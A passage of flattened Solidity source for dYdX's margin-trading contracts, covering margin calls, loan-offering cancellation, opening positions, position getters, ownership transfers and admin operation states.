bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanCancels[loanHash];
}
}
// File: contracts/margin/interfaces/lender/CancelMarginCallDelegator.sol
/**
* @title CancelMarginCallDelegator
* @author dYdX
*
* Interface that smart contracts must implement in order to let other addresses cancel a
* margin-call for a loan owned by the smart contract.
*
* NOTE: Any contract implementing this interface should also use OnlyMargin to control access
* to these functions
*/
interface CancelMarginCallDelegator {
// ============ Public Interface functions ============
/**
* Function a contract must implement in order to let other addresses call cancelMarginCall().
*
* NOTE: If not returning zero (or not reverting), this contract must assume that Margin will
* either revert the entire transaction or that the margin-call was successfully canceled.
*
* @param canceler Address of the caller of the cancelMarginCall function
* @param positionId Unique ID of the position
* @return This address to accept, a different address to ask that contract
*/
function cancelMarginCallOnBehalfOf(
address canceler,
bytes32 positionId
)
external
/* onlyMargin */
returns (address);
}
// File: contracts/margin/interfaces/lender/MarginCallDelegator.sol
/**
* @title MarginCallDelegator
* @author dYdX
*
* Interface that smart contracts must implement in order to let other addresses margin-call a loan
* owned by the smart contract.
*
* NOTE: Any contract implementing this interface should also use OnlyMargin to control access
* to these functions
*/
interface MarginCallDelegator {
// ============ Public Interface functions ============
/**
* Function a contract must implement in order to let other addresses call marginCall().
*
* NOTE: If not returning zero (or not reverting), this contract must assume that Margin will
* either revert the entire transaction or that the loan was successfully margin-called.
*
* @param caller Address of the caller of the marginCall function
* @param positionId Unique ID of the position
* @param depositAmount Amount of heldToken deposit that will be required to cancel the call
* @return This address to accept, a different address to ask that contract
*/
function marginCallOnBehalfOf(
address caller,
bytes32 positionId,
uint256 depositAmount
)
external
/* onlyMargin */
returns (address);
}
// File: contracts/margin/impl/LoanImpl.sol
/**
* @title LoanImpl
* @author dYdX
*
* This library contains the implementation for the following functions of Margin:
*
* - marginCall
* - cancelMarginCallImpl
* - cancelLoanOffering
*/
library LoanImpl {
using SafeMath for uint256;
// ============ Events ============
/**
* A position was margin-called
*/
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
/**
* A margin call was canceled
*/
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
/**
* A loan offering was canceled before it was used. Any amount less than the
* total for the loan offering can be canceled.
*/
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
// ============ Public Implementation Functions ============
function marginCallImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requiredDeposit
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp == 0,
"LoanImpl#marginCallImpl: The position has already been margin-called"
);
// Ensure lender consent
marginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
requiredDeposit
);
position.callTimestamp = TimestampHelper.getBlockTimestamp32();
position.requiredDeposit = requiredDeposit;
emit MarginCallInitiated(
positionId,
position.lender,
position.owner,
requiredDeposit
);
}
function cancelMarginCallImpl(
MarginState.State storage state,
bytes32 positionId
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp > 0,
"LoanImpl#cancelMarginCallImpl: Position has not been margin-called"
);
// Ensure lender consent
cancelMarginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId
);
state.positions[positionId].callTimestamp = 0;
state.positions[positionId].requiredDeposit = 0;
emit MarginCallCanceled(
positionId,
position.lender,
position.owner,
0
);
}
function cancelLoanOfferingImpl(
MarginState.State storage state,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
public
returns (uint256)
{
MarginCommon.LoanOffering memory loanOffering = parseLoanOffering(
addresses,
values256,
values32
);
require(
msg.sender == loanOffering.payer,
"LoanImpl#cancelLoanOfferingImpl: Only loan offering payer can cancel"
);
require(
loanOffering.expirationTimestamp > block.timestamp,
"LoanImpl#cancelLoanOfferingImpl: Loan offering has already expired"
);
uint256 remainingAmount = loanOffering.rates.maxAmount.sub(
MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanOffering.loanHash)
);
uint256 amountToCancel = Math.min256(remainingAmount, cancelAmount);
// If the loan was already fully canceled, then just return 0 amount was canceled
if (amountToCancel == 0) {
return 0;
}
state.loanCancels[loanOffering.loanHash] =
state.loanCancels[loanOffering.loanHash].add(amountToCancel);
emit LoanOfferingCanceled(
loanOffering.loanHash,
loanOffering.payer,
loanOffering.feeRecipient,
amountToCancel
);
return amountToCancel;
}
// ============ Private Helper-Functions ============
function marginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId,
uint256 requiredDeposit
)
private
{
// no need to ask for permission
if (who == contractAddr) {
return;
}
address newContractAddr =
MarginCallDelegator(contractAddr).marginCallOnBehalfOf(
msg.sender,
positionId,
requiredDeposit
);
if (newContractAddr != contractAddr) {
marginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId,
requiredDeposit
);
}
}
function cancelMarginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId
)
private
{
// no need to ask for permission
if (who == contractAddr) {
return;
}
address newContractAddr =
CancelMarginCallDelegator(contractAddr).cancelMarginCallOnBehalfOf(
msg.sender,
positionId
);
if (newContractAddr != contractAddr) {
cancelMarginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId
);
}
}
// ============ Parsing Functions ============
function parseLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[0],
heldToken: addresses[1],
payer: addresses[2],
owner: addresses[3],
taker: addresses[4],
positionOwner: addresses[5],
feeRecipient: addresses[6],
lenderFeeToken: addresses[7],
takerFeeToken: addresses[8],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: new bytes(0)
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[7] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
interestRate: values32[2],
lenderFee: values256[3],
takerFee: values256[4],
interestPeriod: values32[3]
});
return rates;
}
}
// File: contracts/margin/impl/MarginAdmin.sol
/**
* @title MarginAdmin
* @author dYdX
*
* Contains admin functions for the Margin contract
* The owner can put Margin into various close-only modes, which will disallow new position creation
*/
contract MarginAdmin is Ownable {
// ============ Enums ============
// All functionality enabled
uint8 private constant OPERATION_STATE_OPERATIONAL = 0;
// Only closing functions + cancelLoanOffering allowed (marginCall, closePosition,
// cancelLoanOffering, closePositionDirectly, forceRecoverCollateral)
uint8 private constant OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY = 1;
// Only closing functions allowed (marginCall, closePosition, closePositionDirectly,
// forceRecoverCollateral)
uint8 private constant OPERATION_STATE_CLOSE_ONLY = 2;
// Only closing functions allowed (marginCall, closePositionDirectly, forceRecoverCollateral)
uint8 private constant OPERATION_STATE_CLOSE_DIRECTLY_ONLY = 3;
// This operation state (and any higher) is invalid
uint8 private constant OPERATION_STATE_INVALID = 4;
// ============ Events ============
/**
* Event indicating the operation state has changed
*/
event OperationStateChanged(
uint8 from,
uint8 to
);
// ============ State Variables ============
uint8 public operationState;
// ============ Constructor ============
constructor()
public
Ownable()
{
operationState = OPERATION_STATE_OPERATIONAL;
}
// ============ Modifiers ============
modifier onlyWhileOperational() {
require(
operationState == OPERATION_STATE_OPERATIONAL,
"MarginAdmin#onlyWhileOperational: Can only call while operational"
);
_;
}
modifier cancelLoanOfferingStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY,
"MarginAdmin#cancelLoanOfferingStateControl: Invalid operation state"
);
_;
}
modifier closePositionStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY
|| operationState == OPERATION_STATE_CLOSE_ONLY,
"MarginAdmin#closePositionStateControl: Invalid operation state"
);
_;
}
modifier closePositionDirectlyStateControl() {
_;
}
// ============ Owner-Only State-Changing Functions ============
function setOperationState(
uint8 newState
)
external
onlyOwner
{
require(
newState < OPERATION_STATE_INVALID,
"MarginAdmin#setOperationState: newState is not a valid operation state"
);
if (newState != operationState) {
emit OperationStateChanged(
operationState,
newState
);
operationState = newState;
}
}
}
// File: contracts/margin/impl/MarginEvents.sol
/**
* @title MarginEvents
* @author dYdX
*
* Contains events for the Margin contract.
*
* NOTE: Any Margin function libraries that use events will need to both define the event here
* and copy the event into the library itself as libraries don't support sharing events
*/
contract MarginEvents {
// ============ Events ============
/**
* A position was opened
*/
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
/*
* A position was increased
*/
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
/**
* A position was closed or partially closed
*/
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
/**
* Collateral for a position was forcibly recovered
*/
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
/**
* A position was margin-called
*/
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
/**
* A margin call was canceled
*/
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
/**
* A loan offering was canceled before it was used. Any amount less than the
* total for the loan offering can be canceled.
*/
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
/**
* Additional collateral for a position was posted by the owner
*/
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
/**
* Ownership of a loan was transferred to a new address
*/
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
/**
* Ownership of a position was transferred to a new address
*/
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
}
// File: contracts/margin/impl/OpenPositionImpl.sol
/**
* @title OpenPositionImpl
* @author dYdX
*
* This library contains the implementation for the openPosition function of Margin
*/
library OpenPositionImpl {
using SafeMath for uint256;
// ============ Events ============
/**
* A position was opened
*/
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
// ============ Public Implementation Functions ============
function openPositionImpl(
MarginState.State storage state,
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (bytes32)
{
BorrowShared.Tx memory transaction = parseOpenTx(
addresses,
values256,
values32,
depositInHeldToken,
signature
);
require(
!MarginCommon.positionHasExisted(state, transaction.positionId),
"OpenPositionImpl#openPositionImpl: positionId already exists"
);
doBorrowAndSell(state, transaction, orderData);
// Before doStoreNewPosition() so that PositionOpened event is before Transferred events
recordPositionOpened(
transaction
);
doStoreNewPosition(
state,
transaction
);
return transaction.positionId;
}
// ============ Private Helper-Functions ============
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
BorrowShared.validateTxPreSell(state, transaction);
if (transaction.depositInHeldToken) {
BorrowShared.doDepositHeldToken(state, transaction);
} else {
BorrowShared.doDepositOwedToken(state, transaction);
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
MathHelpers.maxUint256()
);
BorrowShared.doPostSell(state, transaction);
}
function doStoreNewPosition(
MarginState.State storage state,
BorrowShared.Tx memory transaction
)
private
{
MarginCommon.storeNewPosition(
state,
transaction.positionId,
MarginCommon.Position({
owedToken: transaction.loanOffering.owedToken,
heldToken: transaction.loanOffering.heldToken,
lender: transaction.loanOffering.owner,
owner: transaction.owner,
principal: transaction.principal,
requiredDeposit: 0,
callTimeLimit: transaction.loanOffering.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: transaction.loanOffering.maxDuration,
interestRate: transaction.loanOffering.rates.interestRate,
interestPeriod: transaction.loanOffering.rates.interestPeriod
}),
transaction.loanOffering.payer
);
}
function recordPositionOpened(
BorrowShared.Tx transaction
)
private
{
emit PositionOpened(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
transaction.loanOffering.loanHash,
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.feeRecipient,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.depositInHeldToken
);
}
// ============ Parsing Functions ============
function parseOpenTx(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[9]),
owner: addresses[0],
principal: values256[7],
lenderAmount: values256[7],
loanOffering: parseLoanOffering(
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[10],
depositInHeldToken: depositInHeldToken,
depositAmount: values256[8],
collateralAmount: 0, // set later
heldTokenFromSell: 0 // set later
});
return transaction;
}
function parseLoanOffering(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[1],
heldToken: addresses[2],
payer: addresses[3],
owner: addresses[4],
taker: addresses[5],
positionOwner: addresses[6],
feeRecipient: addresses[7],
lenderFeeToken: addresses[8],
takerFeeToken: addresses[9],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[10] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: values32[2],
interestPeriod: values32[3]
});
return rates;
}
}
// File: contracts/margin/impl/OpenWithoutCounterpartyImpl.sol
/**
* @title OpenWithoutCounterpartyImpl
* @author dYdX
*
* This library contains the implementation for the openWithoutCounterparty
* function of Margin
*/
library OpenWithoutCounterpartyImpl {
// ============ Structs ============
struct Tx {
bytes32 positionId;
address positionOwner;
address owedToken;
address heldToken;
address loanOwner;
uint256 principal;
uint256 deposit;
uint32 callTimeLimit;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
// ============ Events ============
/**
* A position was opened
*/
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
// ============ Public Implementation Functions ============
function openWithoutCounterpartyImpl(
MarginState.State storage state,
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
public
returns (bytes32)
{
Tx memory openTx = parseTx(
addresses,
values256,
values32
);
validate(
state,
openTx
);
Vault(state.VAULT).transferToVault(
openTx.positionId,
openTx.heldToken,
msg.sender,
openTx.deposit
);
recordPositionOpened(
openTx
);
doStoreNewPosition(
state,
openTx
);
return openTx.positionId;
}
// ============ Private Helper-Functions ============
function doStoreNewPosition(
MarginState.State storage state,
Tx memory openTx
)
private
{
MarginCommon.storeNewPosition(
state,
openTx.positionId,
MarginCommon.Position({
owedToken: openTx.owedToken,
heldToken: openTx.heldToken,
lender: openTx.loanOwner,
owner: openTx.positionOwner,
principal: openTx.principal,
requiredDeposit: 0,
callTimeLimit: openTx.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: openTx.maxDuration,
interestRate: openTx.interestRate,
interestPeriod: openTx.interestPeriod
}),
msg.sender
);
}
function validate(
MarginState.State storage state,
Tx memory openTx
)
private
view
{
require(
!MarginCommon.positionHasExisted(state, openTx.positionId),
"openWithoutCounterpartyImpl#validate: positionId already exists"
);
require(
openTx.principal > 0,
"openWithoutCounterpartyImpl#validate: principal cannot be 0"
);
require(
openTx.owedToken != address(0),
"openWithoutCounterpartyImpl#validate: owedToken cannot be 0"
);
require(
openTx.owedToken != openTx.heldToken,
"openWithoutCounterpartyImpl#validate: owedToken cannot be equal to heldToken"
);
require(
openTx.positionOwner != address(0),
"openWithoutCounterpartyImpl#validate: positionOwner cannot be 0"
);
require(
openTx.loanOwner != address(0),
"openWithoutCounterpartyImpl#validate: loanOwner cannot be 0"
);
require(
openTx.maxDuration > 0,
"openWithoutCounterpartyImpl#validate: maxDuration cannot be 0"
);
require(
openTx.interestPeriod <= openTx.maxDuration,
"openWithoutCounterpartyImpl#validate: interestPeriod must be <= maxDuration"
);
}
function recordPositionOpened(
Tx memory openTx
)
private
{
emit PositionOpened(
openTx.positionId,
msg.sender,
msg.sender,
bytes32(0),
openTx.owedToken,
openTx.heldToken,
address(0),
openTx.principal,
0,
openTx.deposit,
openTx.interestRate,
openTx.callTimeLimit,
openTx.maxDuration,
true
);
}
// ============ Parsing Functions ============
function parseTx(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
private
view
returns (Tx memory)
{
Tx memory openTx = Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[2]),
positionOwner: addresses[0],
owedToken: addresses[1],
heldToken: addresses[2],
loanOwner: addresses[3],
principal: values256[0],
deposit: values256[1],
callTimeLimit: values32[0],
maxDuration: values32[1],
interestRate: values32[2],
interestPeriod: values32[3]
});
return openTx;
}
}
// File: contracts/margin/impl/PositionGetters.sol
/**
* @title PositionGetters
* @author dYdX
*
* A collection of public constant getter functions that allows reading of the state of any position
* stored in the dYdX protocol.
*/
contract PositionGetters is MarginStorage {
using SafeMath for uint256;
// ============ Public Constant Functions ============
/**
* Gets if a position is currently open.
*
* @param positionId Unique ID of the position
* @return True if the position is exists and is open
*/
function containsPosition(
bytes32 positionId
)
external
view
returns (bool)
{
return MarginCommon.containsPositionImpl(state, positionId);
}
/**
* Gets if a position is currently margin-called.
*
* @param positionId Unique ID of the position
* @return True if the position is margin-called
*/
function isPositionCalled(
bytes32 positionId
)
external
view
returns (bool)
{
return (state.positions[positionId].callTimestamp > 0);
}
/**
* Gets if a position was previously open and is now closed.
*
* @param positionId Unique ID of the position
* @return True if the position is now closed
*/
function isPositionClosed(
bytes32 positionId
)
external
view
returns (bool)
{
return state.closedPositions[positionId];
}
/**
* Gets the total amount of owedToken ever repaid to the lender for a position.
*
* @param positionId Unique ID of the position
* @return Total amount of owedToken ever repaid
*/
function getTotalOwedTokenRepaidToLender(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.totalOwedTokenRepaidToLender[positionId];
}
/**
* Gets the amount of heldToken currently locked up in Vault for a particular position.
*
* @param positionId Unique ID of the position
* @return The amount of heldToken
*/
function getPositionBalance(
bytes32 positionId
)
external
view
returns (uint256)
{
return MarginCommon.getPositionBalanceImpl(state, positionId);
}
/**
* Gets the time until the interest fee charged for the position will increase.
* Returns 1 if the interest fee increases every second.
* Returns 0 if the interest fee will never increase again.
*
* @param positionId Unique ID of the position
* @return The number of seconds until the interest fee will increase
*/
function getTimeUntilInterestIncrease(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 effectiveTimeElapsed = MarginCommon.calculateEffectiveTimeElapsed(
position,
block.timestamp
);
uint256 absoluteTimeElapsed = block.timestamp.sub(position.startTimestamp);
if (absoluteTimeElapsed > effectiveTimeElapsed) { // past maxDuration
return 0;
} else {
// nextStep is the final second at which the calculated interest fee is the same as it
// is currently, so add 1 to get the correct value
return effectiveTimeElapsed.add(1).sub(absoluteTimeElapsed);
}
}
/**
* Gets the amount of owedTokens currently needed to close the position completely, including
* interest fees.
*
* @param positionId Unique ID of the position
* @return The number of owedTokens
*/
function getPositionOwedAmount(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
return MarginCommon.calculateOwedAmount(
position,
position.principal,
block.timestamp
);
}
/**
* Gets the amount of owedTokens needed to close a given principal amount of the position at a
* given time, including interest fees.
*
* @param positionId Unique ID of the position
* @param principalToClose Amount of principal being closed
* @param timestamp Block timestamp in seconds of close
* @return The number of owedTokens owed
*/
function getPositionOwedAmountAtTime(
bytes32 positionId,
uint256 principalToClose,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getPositionOwedAmountAtTime: Requested time before position started"
);
return MarginCommon.calculateOwedAmount(
position,
principalToClose,
timestamp
);
}
/**
* Gets the amount of owedTokens that can be borrowed from a lender to add a given principal
* amount to the position at a given time.
*
* @param positionId Unique ID of the position
* @param principalToAdd Amount being added to principal
* @param timestamp Block timestamp in seconds of addition
* @return The number of owedTokens that will be borrowed
*/
function getLenderAmountForIncreasePositionAtTime(
bytes32 positionId,
uint256 principalToAdd,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getLenderAmountForIncreasePositionAtTime: timestamp < position start"
);
return MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principalToAdd,
timestamp
);
}
// ============ All Properties ============
/**
* Get a Position by id. This does not validate the position exists. If the position does not
* exist, all 0's will be returned.
*
* @param positionId Unique ID of the position
* @return Addresses corresponding to:
*
* [0] = owedToken
* [1] = heldToken
* [2] = lender
* [3] = owner
*
* Values corresponding to:
*
* [0] = principal
* [1] = requiredDeposit
*
* Values corresponding to:
*
* [0] = callTimeLimit
* [1] = startTimestamp
* [2] = callTimestamp
* [3] = maxDuration
* [4] = interestRate
* [5] = interestPeriod
*/
function getPosition(
bytes32 positionId
)
external
view
returns (
address[4],
uint256[2],
uint32[6]
)
{
MarginCommon.Position storage position = state.positions[positionId];
return (
[
position.owedToken,
position.heldToken,
position.lender,
position.owner
],
[
position.principal,
position.requiredDeposit
],
[
position.callTimeLimit,
position.startTimestamp,
position.callTimestamp,
position.maxDuration,
position.interestRate,
position.interestPeriod
]
);
}
// ============ Individual Properties ============
function getPositionLender(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].lender;
}
function getPositionOwner(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owner;
}
function getPositionHeldToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].heldToken;
}
function getPositionOwedToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owedToken;
}
function getPositionPrincipal(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].principal;
}
function getPositionInterestRate(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].interestRate;
}
function getPositionRequiredDeposit(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].requiredDeposit;
}
function getPositionStartTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].startTimestamp;
}
function getPositionCallTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimestamp;
}
function getPositionCallTimeLimit(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimeLimit;
}
function getPositionMaxDuration(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].maxDuration;
}
function getPositioninterestPeriod(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].interestPeriod;
}
}
// File: contracts/margin/impl/TransferImpl.sol
/**
* @title TransferImpl
* @author dYdX
*
* This library contains the implementation for the transferPosition and transferLoan functions of
* Margin
*/
library TransferImpl {
// ============ Public Implementation Functions ============
function transferLoanImpl(
MarginState.State storage state,
bytes32 positionId,
address newLender
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferLoanImpl: Position does not exist"
);
address originalLender = state.positions[positionId].lender;
require(
msg.sender == originalLender,
"TransferImpl#transferLoanImpl: Only lender can transfer ownership"
);
require(
newLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot transfer ownership to self"
);
// Doesn't change the state of positionId; figures out the final owner of loan.
// That is, newLender may pass ownership to a different address.
address finalLender = TransferInternal.grantLoanOwnership(
positionId,
originalLender,
newLender);
require(
finalLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot ultimately transfer ownership to self"
);
// Set state only after resolving the new owner (to reduce the number of storage calls)
state.positions[positionId].lender = finalLender;
}
function transferPositionImpl(
MarginState.State storage state,
bytes32 positionId,
address newOwner
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferPositionImpl: Position does not exist"
);
address originalOwner = state.positions[positionId].owner;
require(
msg.sender == originalOwner,
"TransferImpl#transferPositionImpl: Only position owner can transfer ownership"
);
require(
newOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot transfer ownership to self"
);
// Doesn't change the state of positionId; figures out the final owner of position.
// That is, newOwner may pass ownership to a different address.
address finalOwner = TransferInternal.grantPositionOwnership(
positionId,
originalOwner,
newOwner);
require(
finalOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot ultimately transfer ownership to self"
);
// Set state only after resolving the new owner (to reduce the number of storage calls)
state.positions[positionId].owner = finalOwner;
}
}
// File: contracts/margin/Margin.sol
/**
* @title Margin
* @author dYdX
*
* This contract is used to facilitate margin trading as per the dYdX protocol
*/
contract Margin is
ReentrancyGuard,
MarginStorage,
MarginEvents,
MarginAdmin,
LoanGetters,
PositionGetters
{
using SafeMath for uint256;
// ============ Constructor ============
constructor(
address vault,
address proxy
)
public
MarginAdmin()
{
state = MarginState.State({
VAULT: vault,
TOKEN_PROXY: proxy
});
}
// ============ Public State Changing Functions ============
/**
* Open a margin position. Called by the margin trader who must provide both a
* signed loan offering as well as a DEX Order with which to sell the owedToken.
*
* @param addresses Addresses corresponding to:
*
* [0] = position owner
* [1] = owedToken
* [2] = heldToken
* [3] = loan payer
* [4] = loan owner
* [5] = loan taker
* [6] = loan position owner
* [7] = loan fee recipient
* [8] = loan lender fee token
* [9] = loan taker fee token
* [10] = exchange wrapper address
*
* @param values256 Values corresponding to:
*
* [0] = loan maximum amount
* [1] = loan minimum amount
* [2] = loan minimum heldToken
* [3] = loan lender fee
* [4] = loan taker fee
* [5] = loan expiration timestamp (in seconds)
* [6] = loan salt
* [7] = position amount of principal
* [8] = deposit amount
* [9] = nonce (used to calculate positionId)
*
* @param values32 Values corresponding to:
*
* [0] = loan call time limit (in seconds)
* [1] = loan maxDuration (in seconds)
* [2] = loan interest rate (annual nominal percentage times 10**6)
* [3] = loan interest update period (in seconds)
*
* @param depositInHeldToken True if the trader wishes to pay the margin deposit in heldToken.
* False if the margin deposit will be in owedToken
* and then sold along with the owedToken borrowed from the lender
* @param signature If loan payer is an account, then this must be the tightly-packed
* ECDSA V/R/S parameters from signing the loan hash. If loan payer
* is a smart contract, these are arbitrary bytes that the contract
* will recieve when choosing whether to approve the loan.
* @param order Order object to be passed to the exchange wrapper
* @return Unique ID for the new position
*/
function openPosition(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenPositionImpl.openPositionImpl(
state,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
/**
* Open a margin position without a counterparty. The caller will serve as both the
* lender and the position owner
*
* @param addresses Addresses corresponding to:
*
* [0] = position owner
* [1] = owedToken
* [2] = heldToken
* [3] = loan owner
*
* @param values256 Values corresponding to:
*
* [0] = principal
* [1] = deposit amount
* [2] = nonce (used to calculate positionId)
*
* @param values32 Values corresponding to:
*
* [0] = call time limit (in seconds)
* [1] = maxDuration (in seconds)
* [2] = interest rate (annual nominal percentage times 10**6)
* [3] = interest update period (in seconds)
*
* @return Unique ID for the new position
*/
function openWithoutCounterparty(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenWithoutCounterpartyImpl.openWithoutCounterpartyImpl(
state,
addresses,
values256,
values32
);
}
/**
* Increase the size of a position. Funds will be borrowed from the loan payer and sold as per
* the position. The amount of owedToken borrowed from the lender will be >= the amount of
* principal added, as it will incorporate interest already earned by the position so far.
